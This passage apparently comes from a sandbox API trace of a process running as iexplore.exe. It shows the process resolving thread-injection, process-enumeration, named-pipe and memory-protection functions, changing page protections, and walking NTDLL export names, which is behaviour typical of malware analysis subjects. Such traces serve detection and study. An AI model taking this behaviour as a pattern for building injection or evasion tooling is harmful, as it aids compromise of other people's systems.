(in: BaseAddress=0x769e0000, Name="FreeLibrary", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f34c8) returned 0x0 [0081.719] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ReadFile", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f3ed3) returned 0x0 [0081.719] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SetFilePointer", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f17d1) returned 0x0 [0081.719] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="Thread32Next", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a75c3f) returned 0x0 [0081.719] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateToolhelp32Snapshot", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a1735f) returned 0x0 [0081.719] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="QueueUserAPC", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a19f5d) returned 0x0 [0081.719] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="Thread32First", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a75b93) returned 0x0 [0081.719] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetCurrentProcessId", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f11f8) returned 0x0 [0081.719] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="OpenThread", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a01248) returned 0x0 [0081.720] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FindNextFileA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a1d53e) returned 0x0 [0081.720] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FindFirstFileA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769fe2ce) returned 0x0 [0081.720] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="DisconnectNamedPipe", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a741df) returned 0x0 [0081.720] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FlushFileBuffers", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f469b) returned 0x0 [0081.720] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetSystemTime", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f5a96) returned 0x0 [0081.720] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateNamedPipeA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a71807) returned 0x0 [0081.720] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CallNamedPipeA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a71f74) returned 0x0 [0081.720] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="WaitNamedPipeA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a71c36) returned 0x0 [0081.720] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ConnectNamedPipe", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a740fb) returned 0x0 [0081.720] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetOverlappedResult", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a0cc79) returned 0x0 [0081.720] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CancelIo", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a6bce9) returned 0x0 [0081.720] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetCommandLineA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f51a1) returned 0x0 [0081.720] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="AddVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x773b742b) returned 0x0 [0081.720] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ExitProcess", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f7a10) returned 0x0 [0081.721] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="OpenEventA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f4a45) returned 0x0 [0081.721] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetTempPathW", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a0d4dc) returned 0x0 [0081.721] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="RemoveDirectoryW", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a744cf) returned 0x0 [0081.721] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CompareFileTime", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f1b25) returned 0x0 [0081.721] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="RemoveVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x773b5f41) returned 0x0 [0081.721] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SleepEx", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f1215) returned 0x0 [0081.721] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetFileTime", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f4407) returned 0x0 [0081.721] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SetEndOfFile", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a0ce2e) returned 0x0 [0081.721] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetPrivateProfileSectionNamesW", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a6a1ea) returned 0x0 [0081.721] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetPrivateProfileStringW", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769fea48) returned 0x0 [0081.721] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcmpiW", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a0d5cd) returned 0x0 [0081.721] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetPrivateProfileIntW", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a1298b) returned 0x0 [0081.721] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="RaiseException", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f58a6) returned 0x0 [0081.721] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ExpandEnvironmentStringsA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a0eb39) returned 0x0 [0081.722] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="Process32FirstW", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a18baf) returned 0x0 [0081.722] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="Process32NextW", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a1896c) returned 0x0 [0081.722] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="QueueUserWorkItem", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a0ca80) returned 0x0 [0081.722] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FileTimeToLocalFileTime", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769fe29e) returned 0x0 [0081.722] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateWaitableTimerA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a74c24) returned 0x0 [0081.722] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetFileAttributesA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x769f5414) returned 0x0 [0081.722] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="VirtualProtectEx", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x76a745bf) returned 0x0 [0081.722] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="AVIFIL32.dll", BaseAddress=0x37fe70 | out: BaseAddress=0x37fe70*=0x74d40000) returned 0x0 [0081.734] LdrGetProcedureAddress (in: BaseAddress=0x74d40000, Name="AVIFileExit", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x74d45fbd) returned 0x0 [0081.735] LdrGetProcedureAddress (in: BaseAddress=0x74d40000, Name="AVIFileRelease", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x74d4625e) returned 0x0 [0081.735] LdrGetProcedureAddress (in: BaseAddress=0x74d40000, Name="AVIFileInit", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x74d45f9f) returned 0x0 [0081.735] LdrGetProcedureAddress (in: BaseAddress=0x74d40000, Name="AVIStreamWrite", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x74d46479) returned 0x0 [0081.735] LdrGetProcedureAddress (in: BaseAddress=0x74d40000, Name="AVIFileCreateStreamA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x74d46198) returned 0x0 [0081.735] LdrGetProcedureAddress (in: BaseAddress=0x74d40000, Name="AVIFileOpenA", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x74d46cbc) returned 0x0 [0081.735] LdrGetProcedureAddress (in: BaseAddress=0x74d40000, Name="AVIStreamRelease", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x74d4625e) returned 0x0 [0081.735] LdrGetProcedureAddress (in: BaseAddress=0x74d40000, Name="AVIStreamSetFormat", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x74d463f0) returned 0x0 [0081.735] LdrGetProcedureAddress (in: BaseAddress=0x74d40000, Name="AVIMakeCompressedStream", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x74d46dde) returned 0x0 [0081.735] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x37fe8c*=0x3f0000, NumberOfBytesToProtect=0x37fe78, NewAccessProtection=0x4, OldAccessProtection=0x37fe6c | out: BaseAddress=0x37fe8c*=0x3f0000, NumberOfBytesToProtect=0x37fe78, OldAccessProtection=0x37fe6c*=0x40) returned 0x0 [0081.735] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x37fe80*=0x3f1000, NumberOfBytesToProtect=0x37fe78, NewAccessProtection=0x20, OldAccessProtection=0x37fe6c | out: BaseAddress=0x37fe80*=0x3f1000, NumberOfBytesToProtect=0x37fe78, OldAccessProtection=0x37fe6c*=0x40) returned 0x0 [0081.759] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x37fe80*=0x41e000, NumberOfBytesToProtect=0x37fe78, NewAccessProtection=0x2, OldAccessProtection=0x37fe6c | out: BaseAddress=0x37fe80*=0x41e000, NumberOfBytesToProtect=0x37fe78, OldAccessProtection=0x37fe6c*=0x40) returned 0x0 [0081.760] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x37fe80*=0x446000, NumberOfBytesToProtect=0x37fe78, NewAccessProtection=0x4, OldAccessProtection=0x37fe6c | out: BaseAddress=0x37fe80*=0x446000, NumberOfBytesToProtect=0x37fe78, OldAccessProtection=0x37fe6c*=0x40) returned 0x0 [0081.760] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x37fe80*=0x44a000, NumberOfBytesToProtect=0x37fe78, NewAccessProtection=0x4, OldAccessProtection=0x37fe6c | out: BaseAddress=0x37fe80*=0x44a000, NumberOfBytesToProtect=0x37fe78, OldAccessProtection=0x37fe6c*=0x40) returned 0x0 [0081.760] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x37fe80*=0x44c000, NumberOfBytesToProtect=0x37fe78, NewAccessProtection=0x2, OldAccessProtection=0x37fe6c | out: BaseAddress=0x37fe80*=0x44c000, NumberOfBytesToProtect=0x37fe78, OldAccessProtection=0x37fe6c*=0x40) returned 0x0 [0081.760] HeapCreate (flOptions=0x0, dwInitialSize=0x400000, dwMaximumSize=0x0) returned 0x2350000 [0081.769] GetTickCount () returned 0x22970 [0081.769] GetModuleHandleA (lpModuleName=0x0) returned 0xd60000 [0081.769] GetVersion () returned 0x1db10106 [0081.769] GetCurrentProcessId () returned 0x130 [0081.769] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xb0 [0081.769] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x208) returned 0x27487d0 [0081.769] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x27487d0, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files (x86)\\internet explorer\\iexplore.exe")) returned 0x35 [0081.769] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x1800) returned 0x27489e0 [0081.769] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489e0 | out: hHeap=0x2350000) returned 1 [0081.769] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x769e0000 [0081.769] GetProcAddress (hModule=0x769e0000, lpProcName="IsWow64Process") returned 0x769f195e [0081.769] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x130) returned 0xb4 [0081.769] IsWow64Process (in: hProcess=0xb4, Wow64Process=0x37fe2c | out: Wow64Process=0x37fe2c) returned 1 [0081.770] CloseHandle (hObject=0xb4) returned 1 [0081.770] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77340000 [0081.770] lstrlenA (lpString="A_SHAFinal") returned 10 [0081.770] lstrlenA (lpString="A_SHAInit") returned 9 [0081.770] lstrlenA (lpString="A_SHAUpdate") returned 11 [0081.770] lstrlenA (lpString="AlpcAdjustCompletionListConcurrencyCount") returned 40 [0081.770] lstrlenA (lpString="AlpcFreeCompletionListMessage") returned 29 [0081.770] lstrlenA (lpString="AlpcGetCompletionListLastMessageInformation") returned 43 [0081.770] lstrlenA (lpString="AlpcGetCompletionListMessageAttributes") returned 38 [0081.770] lstrlenA (lpString="AlpcGetHeaderSize") returned 17 [0081.770] lstrlenA (lpString="AlpcGetMessageAttribute") returned 23 [0081.770] lstrlenA (lpString="AlpcGetMessageFromCompletionList") returned 32 [0081.770] lstrlenA (lpString="AlpcGetOutstandingCompletionListMessageCount") returned 44 [0081.770] lstrlenA (lpString="AlpcInitializeMessageAttribute") returned 30 [0081.770] lstrlenA (lpString="AlpcMaxAllowedMessageLength") returned 27 [0081.770] lstrlenA (lpString="AlpcRegisterCompletionList") returned 26 [0081.770] lstrlenA (lpString="AlpcRegisterCompletionListWorkerThread") returned 38 [0081.770] lstrlenA (lpString="AlpcRundownCompletionList") returned 25 [0081.770] lstrlenA (lpString="AlpcUnregisterCompletionList") returned 28 [0081.770] lstrlenA (lpString="AlpcUnregisterCompletionListWorkerThread") returned 40 [0081.770] lstrlenA (lpString="CsrAllocateCaptureBuffer") returned 24 [0081.770] lstrlenA (lpString="CsrAllocateMessagePointer") returned 25 [0081.770] lstrlenA (lpString="CsrCaptureMessageBuffer") returned 23 [0081.770] lstrlenA (lpString="CsrCaptureMessageMultiUnicodeStringsInPlace") returned 43 [0081.770] lstrlenA (lpString="CsrCaptureMessageString") returned 23 [0081.770] lstrlenA (lpString="CsrCaptureTimeout") returned 17 [0081.770] lstrlenA (lpString="CsrClientCallServer") returned 19 [0081.770] lstrlenA (lpString="CsrClientConnectToServer") returned 24 [0081.770] lstrlenA (lpString="CsrFreeCaptureBuffer") returned 20 [0081.770] lstrlenA (lpString="CsrGetProcessId") returned 15 [0081.770] lstrlenA (lpString="CsrIdentifyAlertableThread") returned 26 [0081.770] lstrlenA (lpString="CsrSetPriorityClass") returned 19 [0081.770] lstrlenA (lpString="CsrVerifyRegion") returned 15 [0081.770] lstrlenA (lpString="DbgBreakPoint") returned 13 [0081.770] lstrlenA (lpString="DbgPrint") returned 8 [0081.770] lstrlenA (lpString="DbgPrintEx") returned 10 [0081.771] lstrlenA (lpString="DbgPrintReturnControlC") returned 22 [0081.771] lstrlenA (lpString="DbgPrompt") returned 9 [0081.771] lstrlenA (lpString="DbgQueryDebugFilterState") returned 24 [0081.771] lstrlenA (lpString="DbgSetDebugFilterState") returned 22 [0081.771] lstrlenA (lpString="DbgUiConnectToDbg") returned 17 [0081.771] lstrlenA (lpString="DbgUiContinue") returned 13 [0081.771] lstrlenA (lpString="DbgUiConvertStateChangeStructure") returned 32 [0081.771] lstrlenA (lpString="DbgUiDebugActiveProcess") returned 23 [0081.771] lstrlenA (lpString="DbgUiGetThreadDebugObject") returned 25 [0081.771] lstrlenA (lpString="DbgUiIssueRemoteBreakin") returned 23 [0081.771] lstrlenA (lpString="DbgUiRemoteBreakin") returned 18 [0081.771] lstrlenA (lpString="DbgUiSetThreadDebugObject") returned 25 [0081.771] lstrlenA (lpString="DbgUiStopDebugging") returned 18 [0081.771] lstrlenA (lpString="DbgUiWaitStateChange") returned 20 [0081.771] lstrlenA (lpString="DbgUserBreakPoint") returned 17 [0081.771] lstrlenA (lpString="EtwCreateTraceInstanceId") returned 24 [0081.771] lstrlenA (lpString="EtwDeliverDataBlock") returned 19 [0081.771] lstrlenA (lpString="EtwEnumerateProcessRegGuids") returned 27 [0081.771] lstrlenA (lpString="EtwEventActivityIdControl") returned 25 [0081.771] lstrlenA (lpString="EtwEventEnabled") returned 15 [0081.771] lstrlenA (lpString="EtwEventProviderEnabled") returned 23 [0081.771] lstrlenA (lpString="EtwEventRegister") returned 16 [0081.771] lstrlenA (lpString="EtwEventUnregister") returned 18 [0081.771] lstrlenA (lpString="EtwEventWrite") returned 13 [0081.771] lstrlenA (lpString="EtwEventWriteEndScenario") returned 24 [0081.771] lstrlenA (lpString="EtwEventWriteEx") returned 15 [0081.771] lstrlenA (lpString="EtwEventWriteFull") returned 17 [0081.771] lstrlenA (lpString="EtwEventWriteNoRegistration") returned 27 [0081.771] lstrlenA (lpString="EtwEventWriteStartScenario") returned 26 [0081.771] lstrlenA (lpString="EtwEventWriteString") returned 19 [0081.771] lstrlenA (lpString="EtwEventWriteTransfer") returned 21 [0081.771] lstrlenA (lpString="EtwGetTraceEnableFlags") returned 22 [0081.771] lstrlenA (lpString="EtwGetTraceEnableLevel") returned 22 [0081.771] lstrlenA (lpString="EtwGetTraceLoggerHandle") returned 23 [0081.771] lstrlenA (lpString="EtwLogTraceEvent") returned 16 [0081.771] lstrlenA (lpString="EtwNotificationRegister") returned 23 [0081.771] lstrlenA (lpString="EtwNotificationUnregister") returned 25 [0081.771] lstrlenA (lpString="EtwProcessPrivateLoggerRequest") returned 30 [0081.771] lstrlenA (lpString="EtwRegisterSecurityProvider") returned 27 [0081.771] lstrlenA (lpString="EtwRegisterTraceGuidsA") returned 22 [0081.771] lstrlenA (lpString="EtwRegisterTraceGuidsW") returned 22 [0081.771] lstrlenA (lpString="EtwReplyNotification") returned 20 [0081.771] lstrlenA (lpString="EtwSendNotification") returned 19 [0081.772] lstrlenA (lpString="EtwSetMark") returned 10 [0081.772] lstrlenA (lpString="EtwTraceEventInstance") returned 21 [0081.772] lstrlenA (lpString="EtwTraceMessage") returned 15 [0081.772] lstrlenA (lpString="EtwTraceMessageVa") returned 17 [0081.772] lstrlenA (lpString="EtwUnregisterTraceGuids") returned 23 [0081.772] lstrlenA (lpString="EtwWriteUMSecurityEvent") returned 23 [0081.772] lstrlenA (lpString="EtwpCreateEtwThread") returned 19 [0081.772] lstrlenA (lpString="EtwpGetCpuSpeed") returned 15 [0081.772] lstrlenA (lpString="EtwpNotificationThread") returned 22 [0081.772] lstrlenA (lpString="EvtIntReportAuthzEventAndSourceAsync") returned 36 [0081.772] lstrlenA (lpString="EvtIntReportEventAndSourceAsync") returned 31 [0081.772] lstrlenA (lpString="ExpInterlockedPopEntrySListEnd") returned 30 [0081.772] lstrlenA (lpString="ExpInterlockedPopEntrySListFault") returned 32 [0081.772] lstrlenA (lpString="ExpInterlockedPopEntrySListResume") returned 33 [0081.772] lstrlenA (lpString="KiFastSystemCall") returned 16 [0081.772] lstrlenA (lpString="KiFastSystemCallRet") returned 19 [0081.772] lstrlenA (lpString="KiIntSystemCall") returned 15 [0081.772] lstrlenA (lpString="KiRaiseUserExceptionDispatcher") returned 30 [0081.772] lstrlenA (lpString="KiUserApcDispatcher") returned 19 [0081.772] lstrlenA (lpString="KiUserCallbackDispatcher") returned 24 [0081.772] lstrlenA (lpString="KiUserExceptionDispatcher") returned 25 [0081.772] lstrlenA (lpString="LdrAccessResource") returned 17 [0081.772] lstrlenA (lpString="LdrAddLoadAsDataTable") returned 21 [0081.772] lstrlenA (lpString="LdrAddRefDll") returned 12 [0081.772] lstrlenA (lpString="LdrDisableThreadCalloutsForDll") returned 30 [0081.772] lstrlenA (lpString="LdrEnumResources") returned 16 [0081.772] lstrlenA (lpString="LdrEnumerateLoadedModules") returned 25 [0081.772] lstrlenA (lpString="LdrFindEntryForAddress") returned 22 [0081.772] lstrlenA (lpString="LdrFindResourceDirectory_U") returned 26 [0081.772] lstrlenA (lpString="LdrFindResourceEx_U") returned 19 [0081.772] lstrlenA (lpString="LdrFindResource_U") returned 17 [0081.772] lstrlenA (lpString="LdrFlushAlternateResourceModules") returned 32 [0081.772] lstrlenA (lpString="LdrGetDllHandle") returned 15 [0081.772] lstrlenA (lpString="LdrGetDllHandleByMapping") returned 24 [0081.772] lstrlenA (lpString="LdrGetDllHandleByName") returned 21 [0081.772] lstrlenA (lpString="LdrGetDllHandleEx") returned 17 [0081.772] lstrlenA (lpString="LdrGetFailureData") returned 17 [0081.772] lstrlenA (lpString="LdrGetFileNameFromLoadAsDataTable") returned 33 [0081.772] lstrlenA (lpString="LdrGetProcedureAddress") returned 22 [0081.772] lstrlenA (lpString="LdrGetProcedureAddressEx") returned 24 [0081.772] lstrlenA (lpString="LdrHotPatchRoutine") returned 18 [0081.772] lstrlenA (lpString="LdrInitShimEngineDynamic") returned 24 [0081.773] lstrlenA (lpString="LdrInitializeThunk") returned 18 [0081.773] lstrlenA (lpString="LdrLoadAlternateResourceModule") returned 30 [0081.773] lstrlenA (lpString="LdrLoadAlternateResourceModuleEx") returned 32 [0081.773] lstrlenA (lpString="LdrLoadDll") returned 10 [0081.773] lstrlenA (lpString="LdrLockLoaderLock") returned 17 [0081.773] lstrlenA (lpString="LdrOpenImageFileOptionsKey") returned 26 [0081.773] lstrlenA (lpString="LdrProcessRelocationBlock") returned 25 [0081.773] lstrlenA (lpString="LdrQueryImageFileExecutionOptions") returned 33 [0081.773] lstrlenA (lpString="LdrQueryImageFileExecutionOptionsEx") returned 35 [0081.773] lstrlenA (lpString="LdrQueryImageFileKeyOption") returned 26 [0081.773] lstrlenA (lpString="LdrQueryModuleServiceTags") returned 25 [0081.773] lstrlenA (lpString="LdrQueryProcessModuleInformation") returned 32 [0081.773] lstrlenA (lpString="LdrRegisterDllNotification") returned 26 [0081.773] lstrlenA (lpString="LdrRemoveLoadAsDataTable") returned 24 [0081.773] lstrlenA (lpString="LdrResFindResource") returned 18 [0081.773] lstrlenA (lpString="LdrResFindResourceDirectory") returned 27 [0081.773] lstrlenA (lpString="LdrResGetRCConfig") returned 17 [0081.773] lstrlenA (lpString="LdrResRelease") returned 13 [0081.773] lstrlenA (lpString="LdrResSearchResource") returned 20 [0081.773] lstrlenA (lpString="LdrRscIsTypeExist") returned 17 [0081.773] lstrlenA (lpString="LdrSetAppCompatDllRedirectionCallback") returned 37 [0081.773] lstrlenA (lpString="LdrSetDllManifestProber") returned 23 [0081.773] lstrlenA (lpString="LdrSetMUICacheType") returned 18 [0081.773] lstrlenA (lpString="LdrShutdownProcess") returned 18 [0081.773] lstrlenA (lpString="LdrShutdownThread") returned 17 [0081.773] lstrlenA (lpString="LdrUnloadAlternateResourceModule") returned 32 [0081.773] lstrlenA (lpString="LdrUnloadAlternateResourceModuleEx") returned 34 [0081.773] lstrlenA (lpString="LdrUnloadDll") returned 12 [0081.773] lstrlenA (lpString="LdrUnlockLoaderLock") returned 19 [0081.773] lstrlenA (lpString="LdrUnregisterDllNotification") returned 28 [0081.773] lstrlenA (lpString="LdrVerifyImageMatchesChecksum") returned 29 [0081.773] lstrlenA (lpString="LdrVerifyImageMatchesChecksumEx") returned 31 [0081.773] lstrlenA (lpString="LdrWx86FormatVirtualImage") returned 25 [0081.773] lstrlenA (lpString="LdrpResGetMappingSize") returned 21 [0081.773] lstrlenA (lpString="LdrpResGetResourceDirectory") returned 27 [0081.773] lstrlenA (lpString="MD4Final") returned 8 [0081.773] lstrlenA (lpString="MD4Init") returned 7 [0081.773] lstrlenA (lpString="MD4Update") returned 9 [0081.773] lstrlenA (lpString="MD5Final") returned 8 [0081.773] lstrlenA (lpString="MD5Init") returned 7 [0081.773] lstrlenA (lpString="MD5Update") returned 9 [0081.773] lstrlenA (lpString="NlsAnsiCodePage") returned 15 [0081.774] lstrlenA (lpString="NlsMbCodePageTag") returned 16 [0081.774] lstrlenA (lpString="NlsMbOemCodePageTag") returned 19 [0081.774] lstrlenA (lpString="NtAcceptConnectPort") returned 19 [0081.774] lstrlenA (lpString="NtAccessCheck") returned 13 [0081.774] lstrlenA (lpString="NtAccessCheckAndAuditAlarm") returned 26 [0081.774] lstrlenA (lpString="NtAccessCheckByType") returned 19 [0081.774] lstrlenA (lpString="NtAccessCheckByTypeAndAuditAlarm") returned 32 [0081.774] lstrlenA (lpString="NtAccessCheckByTypeResultList") returned 29 [0081.774] lstrlenA (lpString="NtAccessCheckByTypeResultListAndAuditAlarm") returned 42 [0081.774] lstrlenA (lpString="NtAccessCheckByTypeResultListAndAuditAlarmByHandle") returned 50 [0081.774] lstrlenA (lpString="NtAddAtom") returned 9 [0081.774] lstrlenA (lpString="NtAddBootEntry") returned 14 [0081.774] lstrlenA (lpString="NtAddDriverEntry") returned 16 [0081.774] lstrlenA (lpString="NtAdjustGroupsToken") returned 19 [0081.774] lstrlenA (lpString="NtAdjustPrivilegesToken") returned 23 [0081.774] lstrlenA (lpString="NtAlertResumeThread") returned 19 [0081.774] lstrlenA (lpString="NtAlertThread") returned 13 [0081.774] lstrlenA (lpString="NtAllocateLocallyUniqueId") returned 25 [0081.774] lstrlenA (lpString="NtAllocateReserveObject") returned 23 [0081.774] lstrlenA (lpString="NtAllocateUserPhysicalPages") returned 27 [0081.774] lstrlenA (lpString="NtAllocateUuids") returned 15 [0081.774] lstrlenA (lpString="NtAllocateVirtualMemory") returned 23 [0081.774] lstrlenA (lpString="NtAlpcAcceptConnectPort") returned 23 [0081.774] lstrlenA (lpString="NtAlpcCancelMessage") returned 19 [0081.774] lstrlenA (lpString="NtAlpcConnectPort") returned 17 [0081.774] lstrlenA (lpString="NtAlpcCreatePort") returned 16 [0081.774] lstrlenA (lpString="NtAlpcCreatePortSection") returned 23 [0081.774] lstrlenA (lpString="NtAlpcCreateResourceReserve") returned 27 [0081.774] lstrlenA (lpString="NtAlpcCreateSectionView") returned 23 [0081.774] lstrlenA (lpString="NtAlpcCreateSecurityContext") returned 27 [0081.774] lstrlenA (lpString="NtAlpcDeletePortSection") returned 23 [0081.774] lstrlenA (lpString="NtAlpcDeleteResourceReserve") returned 27 [0081.774] lstrlenA (lpString="NtAlpcDeleteSectionView") returned 23 [0081.774] lstrlenA (lpString="NtAlpcDeleteSecurityContext") returned 27 [0081.774] lstrlenA (lpString="NtAlpcDisconnectPort") returned 20 [0081.774] lstrlenA (lpString="NtAlpcImpersonateClientOfPort") returned 29 [0081.774] lstrlenA (lpString="NtAlpcOpenSenderProcess") returned 23 [0081.774] lstrlenA (lpString="NtAlpcOpenSenderThread") returned 22 [0081.774] lstrlenA (lpString="NtAlpcQueryInformation") returned 22 [0081.775] lstrlenA (lpString="NtAlpcQueryInformationMessage") returned 29 [0081.775] lstrlenA 